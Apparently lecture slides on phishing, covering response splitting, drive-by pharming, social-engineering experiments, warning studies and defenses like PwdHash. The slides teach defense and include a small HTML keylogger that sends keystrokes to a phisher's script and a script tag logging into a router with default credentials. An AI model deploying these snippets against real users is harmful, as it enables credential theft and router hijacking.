Phishing: attempt to acquire sensitive information such as usernames, passwords, and credit card details (and sometimes, indirectly, money) by masquerading as a trustworthy entity in an electronic communication.

Phishing: A Few Headlines

◆ “11.9 million Americans clicked on a phishing e-mail in 2005”
◆ “Gartner estimates that the total financial losses attributable to phishing will total $2.8 bln in 2006”
◆ “Phishing and key-logging Trojans cost UK banks £12m”
◆ “Swedish bank hit by 'biggest ever' online heist”“Swedish Bank loses $1 Million through Russian hacker”
Phishing Trends

*Geer*
A Phishing Sample

service@paypal.com

Typical Phishing Page

• Weird URL
• http instead of https
Or Even Like This

A Closer Look

What you’ll see on the page: 

Where the link actually goes:

```html
```
And You End Up Here

Thank Goodness for IE 7.0 😊
**Phishing Techniques**

- Use confusing URLs
- Use URL with multiple redirection
- Host phishing sites on botnet zombies
  - Move from bot to bot using dynamic DNS
- Pharming
  - Poison DNS tables so that victim’s address (e.g., www.paypal.com) points to the phishing site
  - URL checking doesn’t help!

**Trusted Input Path Problem**

- Users are easily tricked into entering passwords into insecure non-password fields

```html
<input type="text" name="spoof"
  onKeyPress="(new Image()).src='keylogger.php?key=' + String.fromCharCode(event.keyCode); event.keyCode = 183;"/>
```

Sends keystroke to phisher

Changes character to *
HTTP Response Splitting (Redux)

◆ For example, language redirect:
<% response.sendRedirect("/by_lang.jsp?lang=" + request.getParameter("lang") ) %>

◆ Browser sends
http://.../by_lang.jsp ? lang=french

◆ Server responds
HTTP/1.1 302 redirect
Date: ...
Location: /by_lang.jsp ? lang=french

◆ User input echoed in HTTP header

HTTP Response Splitting

◆ Malicious user requests
http://.../by_lang.jsp ? lang="french"

Malicious user requests

◆ Server responds:
HTTP/1.1 302
Date: ...
Location: /by_lang.jsp ? lang=french
Content-length: 0
HTTP/1.1 200 OK
<Encoded URL of phishing page>

HTTP/1.1 302
Date: ...
Location: /by_lang.jsp ? lang=french
Content-length: 0
HTTP/1.1 200 OK
Content-length: 217
Phishing page

Looks like a separate page
How Does Response Splitting Work?

◆ Attacker submits a URL to victim.com
◆ Response from victim.com contains phishing page
◆ All cache servers along the path will store the phishing page as the cache of victim.com
◆ If an unsuspecting user of the same cache server requests victim.com, server will give him the cached phishing page instead

Drive-By Pharming (1)

◆ User is tricked into visiting a malicious site
◆ Malicious applet detects victim’s address
  • Socket back to malicious host, read socket’s address
◆ Discovers other IP addresses; guesses or finds router
  • Try to load JavaScript from similar addresses; analyze errors to determine which addresses are live

[Stamm et al.]
**Drive-By Pharming (2)**  

- Logs into router
  - 50% of home routers have default password or none
  
  ```html
  <script src="http://admin:password@192.168.0.1"></script>
  ```

- Determines router type by the image it serves
- Replaces DNS server address with address of attacker-controlled DNS server

---

**Risks of Drive-By Pharming**

- Undetectable phishing: user goes to a financial site (not shown),
  - Attacker's DNS gives IP of corrupt site
- Can subvert anti-virus updates
- Can modify router’s firmware with malicious DNS settings
Social Engineering Tricks

◆ Create a bank page advertising an interest rate slightly higher than any real bank
◆ Ask users for their credentials to initiate money transfer
  • Some victims provided their bank account numbers to “Flintstone National Bank” of “Bedrock, Colorado”
◆ Exploit existing social network
  • Spoof an email from a Facebook or MySpace friend
  • In a West Point experiment, 80% of cadets were deceived into following an embedded link regarding their grade report from a fictitious colonel

Experiments at Indiana University [Jagatic et al.]

◆ Reconstructed social network by crawling sites like Facebook, MySpace, LinkedIn and Friendster
◆ Sent 921 Indiana University students a spoofed email that appeared to come from their “friend”
◆ Email redirected to a spoofed site inviting the user to enter his/her secure university credentials
  • Domain name clearly distinct from indiana.edu
◆ 72% entered their real credentials into the spoofed site (most within first 12 hrs)
  • Males more likely to do this if email is from a female
Who Are The Biggest Suckers?

[according to Jagatic et al.]

Seven Stages of Grief

[according to Elizabeth Kübler-Ross]

- Shock or disbelief
- Denial
- Bargaining
- Guilt
- Anger
- Depression
- Acceptance
Victims’ Reactions (1)

◆ Anger
  • Subjects called the experiment unethical, inappropriate, illegal, unprofessional, fraudulent, self-serving, useless
  • They called for the researchers conducting the study to be fired, prosecuted, expelled, or reprimanded

◆ Denial
  • No posted comments included an admission that the writer had fallen victim to the attack
  • Many posts stated that the poster did not and would never fall for such an attack, and they were speaking on behalf of friends who had been phished

Victims’ Reactions (2)

◆ Misunderstanding
  • Many subjects were convinced that the experimenters hacked into their email accounts. They believed it was the only possible explanation for the spoofed messages.

◆ Underestimation of privacy risks
  • Many subjects didn’t understand how the researchers obtained information about their friends, and assumed that the researchers accessed their address books
  • Others, understanding that the information was mined from social network sites, objected that their privacy had been violated by the researchers who accessed the information that they had posted online
Defense #1: Internet Explorer 7.0

- “White list” of trusted sites
- Other URLs sent to Microsoft (on-line), which responds with “Ok” or “Phishing!”

Defense #2: PassMark / SiteKey

If you don’t recognize your personalized SiteKey, don’t enter your Passcode.
Defense #3: PIN Guard

Use your mouse to click the number, or use your keyboard to type the letters.

Defense #3A: Scramble Pad

Enter access code by typing letters from randomly generated Scramble Pad.
Defense #4: Virtual Keyboard

Use your mouse to select characters from the virtual keyboard.

Defense #5: Bharosa slide

On first login, user picks a symbol.
On subsequent logins all letters and numbers in the PIN must be chosen using correct symbol.
Are Phishing Warnings Effective? [Egelman et al.]

- CMU study of 60 users
- Asked to make eBay and Amazon purchases
- All were sent phishing messages in addition to the real purchase confirmations
- Goal: compare active and passive warnings
  - Passive (IE): address bar changes color, pop-up box tells the user that the site is suspicious
  - Active (IE): full-screen warning, must click on “Continue to this website (not recommended)” to get to site
  - Active (Firefox): “Reported Web forgery” dialog, must click on “Ignore this warning” to get to site

Active vs. Passive Warnings [Egeman et al.]

- Active warnings significantly more effective
  - Passive (IE): 100% clicked, 90% phished
  - Active (IE): 95% clicked, 45% phished
  - Active (Firefox): 100% clicked, 0% phished
Users’ Mental Model

- Phishing email said the order will be canceled unless the user clicks on the URL
- Most participants heeded the warnings and left the phishing websites, but...
  ... 32% of them believed that their orders will be canceled as a result!
- 25 participants were asked how the emails with fraudulent URLs arrived to them
  ... only 3 recognized that they were sent by someone not affiliated with eBay or Amazon

User Response to Warnings

- Some fail to notice warnings entirely
  - Passive warning takes a couple of seconds to appear; if user starts typing, his keystrokes dismiss the warning
- Some saw the warning, closed the window, went back to email, clicked links again, were presented with the same warnings... repeated 4-5 times
  - Conclusion: “website is not working”
  - Users never bothered to read the warnings, but were still prevented from visiting the phishing site
  - Active warnings work!
Do Users Understand Warnings? [Egelman et al.]

- 57% correctly said that warnings have something to do with giving information to fraudulent sites
- The rest had wide variety of misconceptions
  - “Someone got my password”
  - “It was not very serious like most window warnings”
  - “There was a lot of security because the items were cheap and because they were international”
  …
  - Or simply did not see the warning long enough to have any idea

Why Do Users Ignore Warnings? [Egelman et al.]

- Don’t trust the warning
  - “Since it gave me the option of still proceeding to the website, I figured it couldn’t be that bad”
- Ignore warning because it’s too familiar (IE users)
  - “Oh, I always ignore those”
  - “Looked like warnings I see at work which I know to ignore”
  - “I thought that the warnings were some usual ones displayed by IE”
  - “My own PC constantly bombards me with similar messages”
**Misplaced Trust**

- Ignore warnings because of trust in the brands (eBay and Amazon) spoofed in phishing messages
- Incorrectly trust the phishing website
  - Ignore warning “because I trust the website that I am doing the online purchase at”
- Misunderstand security context... even after examining URL bar and email headers
  - “The address in the browser was of [amazonaccounts.com](http://amazonaccounts.com) which is a genuine address”

**PwdHash**

- Generate a unique password per site
  - \( \text{HMAC} (\text{fido:123, banka.com}) \Rightarrow Q7a+0ekEXb \)
  - \( \text{HMAC} (\text{fido:123, siteb.com}) \Rightarrow OzX2+ICiqc \)
- Hashed password is not usable at any other site
PwdHash Summary

How PwdHash Works

- Install free PwdHash plug-in
- Activate it by adding @@ before the password
- Can also go to a remote site (www.pwdhash.com) that will generate a password for you
- From then on, user doesn’t know the “real” password; instead, PwdHash automatically produces site-specific passwords
  - If user types password at a phishing site, the site’s address will be used as the password “salt”
  - Resulting password is unusable at the “real” site
Usability Study

[Chiasson, van Oorschot, Biddle]

- 27 students (none in computer security)
- 73% use online banking and bill payments
- 96% reuse passwords on different sites
- 69% choose passwords so that they are easy to remember
- 85% at least somewhat concerned about the security of passwords
- All fairly comfortable with using computers

Typical Password Activities

- Users were given several simple tasks
  - Log in with a protected password for the first time
  - Switch from an unprotected to protected password
  - Log in from a computer that doesn’t have the plug-in
  - Update protected password
  - Log in with a protected password for the second time
- These had to be performed on popular sites such as Hotmail, Google, Amazon, and Blogger
Results

◆ Only one task had a success rate above 50% (log in with protected password for the 2nd time)
  • Update protected password: 19%; remote login: 27%
◆ Many users felt they had successfully completed the task when in reality they had not
  • For example, mistakenly thought they switched to a protected password and then logged in with it (in reality, were logging in with unprotected password)
◆ Many successes were due to participants trying random actions until eventually something worked

Problem: Mental Model

◆ Not understand that one needs to put @@ in front of each password to be protected
◆ When updating password, fail to realize that need to type @@ in front of the password when re-typing it for reconfirmation
◆ Think different passwords are generated for different sessions
◆ Think passwords are unique to them
Remote Login Troubles

◆ For remote login, must first go to a site that hashes passwords using domain name as “salt”...
◆ Typical questions from users:
  • “How will it know to generate my password?”
  • “How does it know who I am?”
  • “Wait, it’s going to give anyone who enters my regular password the same complicated password? Not good!”

More Remote Login Troubles

◆ Of those who failed to log in remotely (31%), most never even reached the remote password generation site
◆ Although told explicitly that “you are now at your friend’s house, they don’t have the software installed”, they still tried to log in using @@
◆ With half a page of instructions directly in front of them, they tended not to refer to it
  • Half entered their passwords with @@, half without
◆ Only one user read instructions on remote site
“Really, I don’t see how my password is safer because of two @’s in front”